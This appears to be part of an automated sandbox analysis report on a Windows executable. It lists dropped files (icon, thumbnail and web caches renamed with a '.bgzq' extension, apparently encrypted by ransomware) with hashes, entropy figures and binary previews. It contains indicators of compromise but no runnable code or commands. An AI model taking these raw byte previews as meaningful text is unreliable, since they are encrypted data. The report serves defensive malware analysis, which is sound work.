SHA-512:	567AFDBE4F4F946D3C7836128B49EB04F5F21E8926F68437EF54BC1B85D1CFCEBA64294C1283A0B59A9E89A3E30061C24B15269CB0505CEAD0681408DFD49F71
Malicious:	false
Preview:	CMMM ..m..9.8Ph8tF..,..h......N.FH..0.P..7;>.@~....-....k`;....P...c.1-.....V..&....?...+..2..^..:..]6....u.......8...VC..}...];!.u..v8....W3buR"..4,...D.zq....:..3kn?......z..%..\5hV.3...0!\.1E$.V......T.f......j.V..C........\|-....3.F...g.Y..hQ...#..v.@....Z.Q+_w....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3019043611191154
Encrypted:	false
SSDEEP:	6:U/M5tgj4/XtLqdW22hA5Hwnvh0pHD9aJA4KkX9GHkTBvBzjhPcii96Z:D5tA4/XQd6hKQn5+HDUFXkHSLjVcii9a
MD5:	73E0ED24B359584D525D1166CF1B29C9
SHA1:	3A2FA07281E062E7D77B19ABD0050AF90DAE8664
SHA-256:	3B4DDEE262661495E03B863B62DF32212AE2296344D761D0BFD117A8B6BFF399
SHA-512:	8246BC228F6AD3BA1F38144B551A7FBE8DFA07E7C82992E446F949D149D4A3BD27DD1F146C3220FC68A5E97F635E92BC37A0BED86B8CF2EF7AF92B3F26DCCC1A
Malicious:	false
Preview:	CMMM .t67RQ.....:=..`....ZN.p.........KF...(a....5...$......... .i.y.m..].9=.h.g...J\....4.c^.VS....AJ~.0U>....RY.....[\.......O....DS.. .U.2.#9....6.....=......<.V.....v....{....m6.H./..d..=,.^h#5...J(/.Z.......z.~../......p........].d....7e#.....%..<.4./A.Z*.7%itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.276981376478884
Encrypted:	false
SSDEEP:	6:hxExfVY+Sn/TJewS8JCfcws9g4bY9dzPLIeWZ9HNZqNzjhPcii96Z:hxExfVe/T1fC5JTz2+jVcii9a
MD5:	9DB4D8FC53C05E0B86E795E23A6C51F3
SHA1:	49D930A2D4762BCEF8E79B115B411C48BEABA7F2
SHA-256:	B11BF4D6E1CC1DEECF82B074EC5F7C0E47CA27F00E614E42E010121F05F6CC6B
SHA-512:	F437CC705A659775ECA9DE2D7D36E7A979ECE66B0431F1C9A19C0EE7ACE740337F120118763C8173F895655D94342CF172396555EBBCA84A7593EBDD60FC3598
Malicious:	false
Preview:	CMMM n(U...6....*.h`..\!...>\}..v]...70)...Q.f>....T.t!.'4.j......F.....<y.......SWP...F. L./.../..p.N:.W.LR..}..V..,.C..M:....o.U.4.t.d..q#b.`.YT#s.;.R......r....U.5.Q .G...Ua....Hv..9.,v...!.....T.R=cni/..VT._..B.p.)G.H\aZksAm...BV>Mn.Ho...;..9.`.x.P.?.@.......NG.hitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.206431051554636
Encrypted:	false
SSDEEP:	6:ob9eiIRObaPGOFdgKpgBku9JoVPYdo3IYAdRRk45azjhPcii96Z:ceUaOOAKeBkywPYdEADwjVcii9a
MD5:	F6CA9225C6D151E37C4CF3CF7124C0CB
SHA1:	9F162A89155B7492FB45302EE80EE31F914018EB
SHA-256:	BE5123195122DAD03F0D4C3B26B796B08F844E6DED8D5A4B9597B978E6E7AE07
SHA-512:	92B6F27E2592B91A42FED2E1F222BBEE6A88109455D1D3FDF83810BCF2F7FAB36950F91FB720D2D8B0CD3F422AAE3D2428075C87D7F7859090856535E5778310
Malicious:	false
Preview:	CMMM .<..ty_~.......<..E.`+....h.==U....E.K..z..t.>....kU.... ..8...I..d.G.[Q.../u:._-R....O.E..e.......w78..^.E.@./....m....Gn...YI.{y o...8..K....*E...@.5.NA...v/.1....i..s?.l..........f!3...kr...V... S..1..m.q.D..$....K.(.<.....WM.(tA`.3...&...n.g....O.#o.$..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.374567122203876
Encrypted:	false
SSDEEP:	6:rhAR2ky89PTAoGG90RILPdtQ576GW1cmBgEym1rHb3wHzjhPcii96Z:rhM7GG6qdtQ5uB1F1y+7ATjVcii9a
MD5:	DBAFC01CE70BC96CA4523ED94298634B
SHA1:	0F7A4D23081B6393F507BD4439DCD3D7A3FC4CAC
SHA-256:	73D6BC3D990DBCFD0A7D361D4FF0550E155B4506D547910533B5C41D27A93B55
SHA-512:	F333C9EB614980E8D9790DEC22DE5C90996EE541AA258093A30165F10B05D9ECEC79B6C1034FBE078C492737000553F867CC7390CDFE77D720A38E87ACC066CD
Malicious:	false
Preview:	CMMM .?.!.#..".[<.t..9....8..O..>.x..../...4......j.:.-.g.d....Z^...!...Y?..L.2,.h..=..H..R....T..:.{.!.qm.....L.8*.T.8?......].m;.f...SG..............%H.....1m......H.W..A....>-.(}.o.......R..g.....U.a.#.J..O...2BM.N....qbcf.Z>....]..o..../P.V.....I..5.!/....@itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287668808346884
Encrypted:	false
SSDEEP:	6:spPf3igrw+fIPUVa0/l5adWP3KG29sb9kR3h4wN7zjhPcii96Z:spP/3rpVa0N49e2uwjVcii9a
MD5:	04643CB8A68B9416A55418B0F3EADA3C
SHA1:	BCC7160D3A5D19925637BAA2CFEAF5635FF915D9
SHA-256:	4F80A5BFED2E042A24E01DACC4E78122635E9E417C84B994B9CC39AC76D394FC
SHA-512:	670856F2C14F53A79426DD3B342A2F8F0972CC6984F30BC96F8424A476201871D8AD1DFC75AACB2BF8256CF8BEE5BD7B13A3B4AE74F9BA1DA08ED0C3DCE8F710
Malicious:	false
Preview:	CMMM ...c.)[...YQ..g.D.s......GX...;N.%.T).I+Vr..R`H6v-......d7.z.t)...bN...Y.....^.8..z..QC......I.&@9F.+]S.P..g....<!._u......Qp.q..28...d..L.y!.s..]".\|.m..N...SY....;{..6.3./..*.S..c .T....0^}5a..a.7.......R.WM.....3.cg&X-...":cN....K.f..J...E....6..:...VKY..iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.260943119814843
Encrypted:	false
SSDEEP:	6:iru70hlKZ7Wwhgk2Uw2RkRCws8ByUf2vH3KWz+uBK3cAp5AyDSrhDUcbJzjhPciD:iquMpWwh0p2d80UfaquWcAAyDSCcbxj9
MD5:	AF9C192C78AABE5E663FCA9C2404A753
SHA1:	12A5F005D0707ACE0A0F1A0A8C08264AC463617E
SHA-256:	676D542CC52C9FD1117A8A032C25449A8130602C17DAFCD97CA522FEF8FDB161
SHA-512:	0F447E805700C054EA5D1AE9B8836F9E3D0B1344D00A9AD06405B2AE68A1DBDC917A775C20D96536F18A701AF9BB3E5F51FB7ABF0D2265E08712F1427AA5C063
Malicious:	false
Preview:	CMMM C..$..W#...f([..>....,...Y+....w.K..</..".p...G.$.H..i,...U..(..+B_L....E.....h......&UD....b...E.......&,(........ioS_..h.d..e..mq..d>g..)N.k..e.q9..S.._W..Ff),..(...5.b.....bfE.(......s.4../@...$.....mi.e._..wf.C.<.5..an...q..QWg..{,~R.)X...G..1..e..A......x. P8itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.328343431123869
Encrypted:	false
SSDEEP:	6:q/luA9p2AzJsqYa8qzzDksPXWXUrbu+nvrdl9bzNfihPCy0zjhPcii96Z:qtuy/zJsqhnHvWXUrbuwrdDxitt2jVcq
MD5:	6D53695EE3E7C2C95CDBDC83623860F5
SHA1:	E588A1DA8F07E56851E314CC9CF79409A4298984
SHA-256:	80EAFF22C49B57FCBC1257F8A6A862DF7DCF6BCF50ABB6535E7C19D804E89EB1
SHA-512:	7D4423BDD49D49D1D6CDB292656153AA0B95F7DF36781899EB8310909EF60D04873780556F7013746E98D859B259AB868162C6767166CE3616D8FA3EE75C3A5D
Malicious:	false
Preview:	CMMM .bn.;.).p.......E.u..vf...%.{N......@..,..m.y.a.+zyN..(0.5.b....%`(dz...{...wx?:..z.[.<......C.....M...S.9p.\.i......c.w.}..H.7....C.Z.Z.....5."n{.I./.\.4.Z....d...L.n.S}~..J.1.U.iq.....k..T..h....YR.b.^G.U...:.k...A6F$..aA..IL.M.yAr.....(<.2.8V.BY....4u@....,:u..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.325883697824327
Encrypted:	false
SSDEEP:	6:qROMSMuuCqT4K4AuOsIN+dbRumtI2XO42TmIYrBSAwJfHEdDpQ2WMzjhPcii96Z:qdzLCqlOmN+dbJIl7ZYlSAwREZmejVcq
MD5:	22806781E5F4EDA3680B7591D4AD6DF5
SHA1:	DCCF89BD28097B5BBA625BE4D5B91656431F6496
SHA-256:	A178CC82C0F596D7EC3A16EC86B5B9B386596AC32CD088CB7823E3400D459F1F
SHA-512:	0F4EE415DEC49BAD06A0CE761EA07E5B1BC3C9BD584E80303E71FD28B5A6D915BFC3C7424DD6CA794E72854C571F37B7188B1340126A672E839C3D57C2F083B8
Malicious:	false
Preview:	CMMM ....x..l.2".D....@..@........G..B..L....(...<H=.3.....6..........27.S} .-#.......B.6t...'......\pc6..I...D..m?.N..>}.G..~...H.*.h.4.B..;.~.J..[.d,d...5..F.T...U...nn....'.....7.6.3..................[.d9..2.6...7B.(q}b.`.v..jE.K.....?u.$N7`..-,..............>..@itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7688888928240272
Encrypted:	false
SSDEEP:	6144:XYL6XeJWJnTBk9r48oRr44qjH/WtMLxOLQ:oL6OgNk988oReWtM1WQ
MD5:	7469119C5AF2B8E7ADB48B65FB083B56
SHA1:	C13AB3B784B69D73F24095F3379E1371923E4E11
SHA-256:	A6E8EA0DE8B413DBA496C71645EA1EA6744605D10C2539455ABBF9ABCAB86B7A
SHA-512:	D5959A5DE1603BCD32A28844776F4C5E3652C41A45C06712ADB7B4D8DC13AF65706A760A93E282455ECD086AFCF7EE4CC5D65180884B70B5A5B00AFC3AE2324F
Malicious:	false
Preview:	CMMM .9.H.!8.-...S.<.).z.....Su8h.E.nVP...."^.{.E!WG.9...4....l...j....-K.B..%.a&.!.. 4....uu.>tR,..$:!.V.)_l.u...o.......].+.D..F..._.`'~.g(1.h.%.4........h....j..v.3O..S..&i.")...Ji.x9p3.\.(.,..n....5}..Q.K.q.......^....5.I.~,;.s.h.6.c..#.l.H<....8O..K~....8.fh.Q... ..9x..v.)..'M.].@[.Q<..3Y.%&...Uu... b...o..n.x.G.....l...d..VwD....n.fL8'u#...LIn..k .K.>./V..i.g.'.c.D...b.Q....CxReKS.MO..V8g.\|.{.U....\........-D..G...N.4........H..4HaT.@.&.}...H.Y.rF."K..~...O8....r\L..p..D~+..m.....0QGP.".......Uz.``...}....8..&...l^.N..H..'.....O.... v);...z.7..1Kr"....u....h..A..T.i.'~^<../f.ud.g...r.x/.(G..I A.......x.I..Ts..n..R.$.u....!...g.a.....<G.$...k..._$...^61...y...P..t.Y&Lu.V.x[..7f2........C.l..a%w....7W:9a~.}...u1K..........:`&qN1.!...]..`;..QznA.`R..b...G-......B..5z_...H.C@..f/.j..7.....<...j.!......I..&....s[W....A.n....-m....D.V._.\|FB...f...v..C..~.I...( .g".w.t.S.;.."G......'......w.?].*.O.^;...@.......j.....1.............Z.1g.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.1725682148258505
Encrypted:	false
SSDEEP:	6:CZ1teWhgCrkdE3KcI5cFPLFjhkUv1Z+KXnEjH2aQEswFAi0f9Ay0ic+Lrw9fHMzZ:CUWK5cFpd1HErCQU0i9Le2jVcii9a
MD5:	32FF9511BB359DF816D0A8A89E1085F6
SHA1:	CB9533588A044E8D0EBFC91972A58B395390E082
SHA-256:	39C20EA7F70BEFEC23ADE77FE68C25503F2E5067C6E0940C7D424EDEAAB76FCA
SHA-512:	599D66DD10C75B551CA8F6D94EEA851C0DA50740BE726BEE1B713FCCC6C89FE94D8C54CCAFD7D951474EBD596888A857A3E865FCDDB915D434F40FA2C8BD48BA
Malicious:	false
Preview:	CMMM d..r2@..C...n.d.1..>.omrs.7\W.= ...%..&C..4 <J.C.-Y..qk....].[..f..XP....N..d....1z..........u..].....m^]P..y...aXz.BF...c.d.R.d...o..#.Wo........Td..F.u....lp..:.l.$.....&..X...S......u..._F...@.a}..s..a......x'..zX.-J.QS.._.g.M!.c.C.0..b.......+*.1...E..].d.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_96.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.355619276243859
Encrypted:	false
SSDEEP:	49152:wyr6eBlnJNVkgH9Ky0r/8+qrYEUKxJoPJ8:R6eBlnJNVkgH9Kyq8/rYEUKxJoPJ8
MD5:	D237B1F091CB805C008FCDFA1FCE6DE1
SHA1:	79FA9D200472B20E42DE3DD51CB0FAB2C09A7919
SHA-256:	51798329F504B0088E35E5219C347647E6E33166C98DA5AD691E479372503EE1
SHA-512:	5E8B808AAFB344213E8D1B52A31DB6AE6544285C198F81231AF0D75507A3E12AFBFC0F8A7D0D9A24C62E301F41762B5DC6056E5B357BDD181715C16FE1704B2D
Malicious:	false
Preview:	CMMM ..HL...L.3.....@....u...BW......N.}.:./<P..0.Q.&..r..b..G.......%.5.....G.....7d.bb.<.r.%.gX.}SZ^...&.1...0>.!...r.o.....@[....L4.Sh5.R.,..\|.\"QoD.9........}..,.$..!C1{I....c..9MR5...4-.H..}&SAw.p.6....Os....I..P..H....&ZJC......wXe..$h.N....g.......E.n.Lv.~70..e.A...g...^...G8."kEnh.4w...R\|..g......3.N).a.E..>c...&..@Ti..<..2.. .\...?6.?..../....C:....>sE.E....U.Q}..6...Bg.s.e.l.G.YZ...W...F.K...x..nU..BF..k..wE..i=....z.......Tw...Q.V.e..'..[k^....XI..\..!3.z.......z..s`E.N_....E.w.V. ..A...+H.kz....p..w...RR.9.#.7...>A.\|H.w^."...s..5.F....\..................f7..3.v..i.\c.C...Q0._.=...H...O..c2.M96.........Q....f...@.5..E.eF....J.)..j6TI$.[.}...Zl.&.+O....a7.0.H..D.lL.....y.O.m.#..oe.....G...5D.A.\|[.p.6.s..0..).X.8=.....t..@..i...9..u....1....V,....F..#p_.1.a.1..G......l....%......2*n.1e.g.7.......5H ....k!..iR])...kK.j..I.?-....t....x...l..,...aS..GL.;j..[.x....O...n0ra.D...P...gO.op.@.1.... .p...H.q..z...^..C.).]..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3037263668995465
Encrypted:	false
SSDEEP:	6:JZBJDKWbW+P2U+kBfiW37JTDxr7eLMK/aXG07/MxATWc3p2zjhPcii96Z:JTJcmpBd3tTDxA/aXGe/9b3psjVcii9a
MD5:	05BA59BAF4B7A325DCDF412F1F58599B
SHA1:	02B3CD9A1028092E7BDED9A147BA8F43847C9E22
SHA-256:	2C2D3C1E320245601E65AC8760CC7EBD51463A6E7AD3445CF3D70772EE249D05
SHA-512:	F5AC6A8B2A86D390898F5E8A5F88A07C96E77166D4F9DBC5196092DE41FCE4F6BE9FB8E2782E3D51FE55C18896F69242963F107ACFA8B9B2AA229F232A286D57
Malicious:	false
Preview:	CMMM ..L...c;WI....5...m`.JG.M..fmc<..L....r1e..`.Oz..j.g..ms....g..=5Jh.&!.hP...,"..8u#..>..Ha.'...1...(..?....d..v.{x...Z...6.*.....6D.E..D%..f.Z.........r5a..w..[../.].t....s..J....@tu....N....B...sZv...Dq.O@..j(7..-.......:.v...d..2..^;......3..`.3...0.y....5..H....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.286272037079751
Encrypted:	false
SSDEEP:	6:rb5/rCbK0NMJqegVrDdfFlcEFWkswAL21oAmGCGYzjhPcii96Z:n5aKYMJqegVrtFlcEUlwAC1oA/CG6jVX
MD5:	62B1B1D0BC486AA8C9A6C57A85AA6A07
SHA1:	731F20798090029CAF54AE79A98C75BA2D35EC46
SHA-256:	CE922606634682497A5966AA15BA3492334B34CD4722533B371A65657F71B131
SHA-512:	16006FD361A4FD19FC4CA4C331B502D68A777F2EDC68B748B2BED299772EBEB4C8DD5F7EB3E83B21D101E051B8490889206B7AFAA29CCA2EEC7F9088BECF5C1C
Malicious:	false
Preview:	CMMM ..................Y;'./.F......5%O.sw.^.V."..7._.....%.X.S....#Q.......kM+.W......x.1....P.u.\.....!A.d.v......;....uZh..O-...t.Z..... r....E6.}^.........B.N...Q`.l.y~...KH...ud..rv.I..].......E..Y.L..&.-....z.......!JT....W.}......Fv.H.6..]d...>........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_sr.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2921121575133645
Encrypted:	false
SSDEEP:	6:iGVdN2qQlGFpM6mme2OCKpLMI3A1RUpXRJ9hCIxxULgxYWn8KzjhPcii96Z:iGt25EFpo32Ob9akKgn8QjVcii9a
MD5:	36530B11B274AD6AAC487239B186F365
SHA1:	96AABDEDE1CD79F0E83E0FF5B6CDAC3DA04FF1CF
SHA-256:	98032726B2990209911D995842D61EEA87F4B9C4AC59915D3CE5E19AAA421F58
SHA-512:	2E1976410B1D4D5A0DDA35FEFA5DC4E0AB8320D9A21981EB9DA5D7CF553F2B99023128341A1177C41D2026D8D176FA92EB64D17638FB2A19245C6D783CFBE89D
Malicious:	false
Preview:	CMMM ..L..z....UT6.9..X..C(..8e_......X.L.......aUB....7..<+....y.q.jy8..-........A.'....X.'f....1g..I.@..NL.p......oQ.."..S....%.Z.E.q.m.6)N.?.Zt.z...W.4s5.....M...\bz...1..`.6#xe{.[;,s.Zd(...........E(...j.....y..{.4.y%o,...".q9..DWL.j...I...2...VuL.Z..1..H.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.31466532489087
Encrypted:	false
SSDEEP:	6:SUKwJxvDDgHrcyF3KWpt1+GRpLfGBk+Xw+cVIxQUitF8AbCVweDMzjhPcii96Z:SUKwJZoHI63KWpfRpLKXHGF3CVweDej9
MD5:	A73068030BF04703EAF4501FC1E97686
SHA1:	08F593C8C6A12C784795A6F5CF60BC32A5FC6BFF
SHA-256:	A183F14BF31654EE51BC8322C4A88017DEF299FA2F3B9A57E9827F851467DAD2
SHA-512:	9033FC600D408344FC05EE0555C0109A73622942BF9849938E30445C6ED1E67BB03F816FD2B513581A03C43F818E597EB56C035DFA67FC41E4744A541A833775
Malicious:	false
Preview:	CMMM l.VU.j..@./.l.V....rT.<$...E...Rz.5E..`&...w.....N9...wZT.".M... K^.....7:...?.B..}d.>S.>.g..X.....&........>.Z...\...o.......R.O..Q.`d..c6b;.?.J....I.&.7...o.l_..3....... .:So..bd.....f..Qk.........(f\....%...pf..$(......Al.....gb..'h.....}.z.._...W....o.7...}.^.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.27853209313236
Encrypted:	false
SSDEEP:	6:RnPYSVbxPgC057ZKK6lyBvIUKUCJwPGFpdbQkczl70KE9fRVnzo5Qh3bIMzjhPcq:RnPN1PH0TJ6lyZIUK9HuVzhurVzaQRsk
MD5:	4F6854FDD92E9D3E3D512EE09F4B85E0
SHA1:	834C8C302B9B93B58B0292F8C0B92C89B4BFB236
SHA-256:	735989A331646F1D8765E049ED58565CD8169D6968FEDA0FBDD6DA1CF00BCDAC
SHA-512:	0BDD8988A9CC8ECA68E457A3A13C2DED0CA7C57B9A9DD41E8B5D163138A82545C96C0CC6548E31ECF7090112BCB602C9933A56FC4D61049ECF4FD784C5337831
Malicious:	false
Preview:	CMMM .1.W}A1h_....q.9..BT.....}..8-e.WG.....7.T.A...'O\|b...K..g+.j.R.< te.......!.R.O...n....B........J.......$..P....nUT.V..b..?....A.....=... ,.0. 5........%D.C...'00I......_.N..W..QvHC...$...i._6....R.@Yz.^S....4...=B..R.Q.{..y.......c;.N..j`D....j.)...2.,Nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997069742839774
Encrypted:	true
SSDEEP:	1536:orSsVBIAJpS06qF9E9C0Mg+pEnZBLgAWSUQSSyEiuakJ0aI:rcBHiqUC0MXmn/Lgm/SSyEivBaI
MD5:	CBE6D8D375E8C2428CD5E101FB9B98B2
SHA1:	ECDEB2AC4F207D4F0726ACCFF90638CB909D2E10
SHA-256:	697CCFC1B5D6B94BFC033BF324F39C13671B0C5776C75A489A49C5FE0F0D5D73
SHA-512:	583A77C94527F3785A5F79BB836D73BCDD00BCAC43F23F2C9BFA97FC6B38BAF0DF5F6E6C4F2C9CC629B79CE8E61A939875BCD257FA0A6194585D9B87CDF9E895
Malicious:	true
Preview:	<?xml..'Ym..H....T..zyF...m..... ..Kq~...d.?..!q@.J..%\\|.. /..B./.+.b'.._.0....0...aV.....v..g..".~.L..cC.S5Q...n1..0]h.~..-.Q...g..S.y9...sP..#.\"N<..<(..C.e..M......E...2..J4...?`....FH.....U..2k ...'6Sh`..fm,.)...=.mv...[..P.l..`...B.6..h@..}N...Y.bk.8.u.CS.r.....T..."&......lx..z.g.O..@o... i....+D......$K~..+t.iz~.E...."..x.."1y...cP.:L...vZG..)u..%~...WT;..........%...I..;$".A&nBv......`....`.FaO+....e..{.....!.G....... ...lo!.'.M......S.. -_SI,... i....6S5+#...XY.....c&\|\|...{.c.M&....H.l.9Q.L#.....k.7n......Y.zE........Y..&o&..K#M=...r.....n../\|1...j....6.O..........X.0)}\|..n.p[3u..!:b,......p....-"........Eb=.3A..YB..xW.8.B.......X.z.....vV.vw.kn.B....{../.&.....d#..I..A.Rh~.H....~...Y.8~.C.....3q.d<P.0.....C.m.u.;GK.............k...\|b.... .....b.........).S_...KqYs...)&a=g..N.8.{f/C.A.7.B....v...;^....2.9..D.&...X...T....=....y=..[.og.?.O...T,....,..=.P.z[^.6..,u...cf.:.A.i..p.....o._.S.O.(..d.',. ^..].^....2...3.`B].,.q..

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01.chk.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978745785238982
Encrypted:	false
SSDEEP:	192:Ky5X377pLeOu1lbbVP7dvhq8t6TWcX2kSvHaVJwRFj8QtSgKy6qeGOcd1LE3suie:D/pLyjTnq80f2kSfQJcJ7tFFHOcdu3ss
MD5:	49459E6DDEE8215C19C500761988DF65
SHA1:	616EDED25E9B05FCBA561EBD895342EF394C0A24
SHA-256:	F1EE7BC6E487D3F1EEE0F0C532EB58D63219EE3429BD976D57510FF7525C5CFF
SHA-512:	6960B7293AF1B9EBAD97A14AC6A1D62C37EA95D373EFCA9AFE0D1F3144F33191571E70BBCFD6EB2869AB9BEEFCCF2583500D9FACFAD7F3FACC7E44761F956853
Malicious:	false
Preview:	..9...kv.....b._.<.t...nTH..J`.u..'bs...(.0.....E...!/8..JR.M?....`...Y.....]_.h\|...ENfh..........X.{...P..I..!J...CQ..2.....n.......2l1..p..Ob:b.'r..mIT..+>.. .^..{.x...)..w}w....]r....+..HJ.......C....m.gI.<'...U{...Dn...t...5.x.....x1...{S..q..p...C".............QP.I...R9@.d..l...B...%Fm7.'!..mk....j..t%...-.[2eXj.T......X.DB...2.3UG..k..e...J6..#.<.o...f.xgY.F.~L....H..ne.m.2f.dn...U+....}..eu.s.RV...cu(.]JP.j&g..v..Bd.t(....+..}....f.M..-...Z..LP.w....F.?6....w^..i..l...{VI../.ZW.6.t...U..../9.c+...{,.Q......1.......uv0"'..+..l..@,.(7p~..A..m...i..q....W..E;.1s..~..pz.U.GE.T'../N1........EY.C..CS.4.{.J..T..X....K....2.)..Y-..[.W...7...$.VbEL.....2f7..x..P...O....&?..Y.._...y\.BT@...Oa.i...b.bT.xKb.(PL..~..-d..V....Ah...+.U=....eH......'.~..g~j.....f,g....9..CQ..t....Nz..6..<l.e.n!\......T.9+=...h.(.-.W.o.........G:5.WZ.U...:.F.@.I.F...J...b.h.t....u..EI-O.WS(.T^@K....../..;.r.. W'..#.......te....w.+.....?...>....5....w.5./..!:....d,k.\....

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V010000A.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.841275671714492
Encrypted:	false
SSDEEP:	6144:uiHvRkC9wdjUjfpOuWPQsXBmPWGIWXnVrf6uwl0NBwPonfqnA7pb4JRwoDxflrVI:uiHNwdxXvXCibOaU
MD5:	27B9CD2DC2220A53ED51FCDE96E3A198
SHA1:	7679054B41DDE2EF30C33C427154DE39B4953523
SHA-256:	99DCCADBAB89BBBC48F9A554DD1F7F6ADF1F96F1584F83773E56EFB99C69A8F9
SHA-512:	C9BDF55CD9885E0AAFA6D06EB164AE1865EB57805D53F54F06429A3CD0DCDA9FD51799EAB4944EA758CD984FA2518501B1380A7FB226352EC97E8C54BADC2F89
Malicious:	false
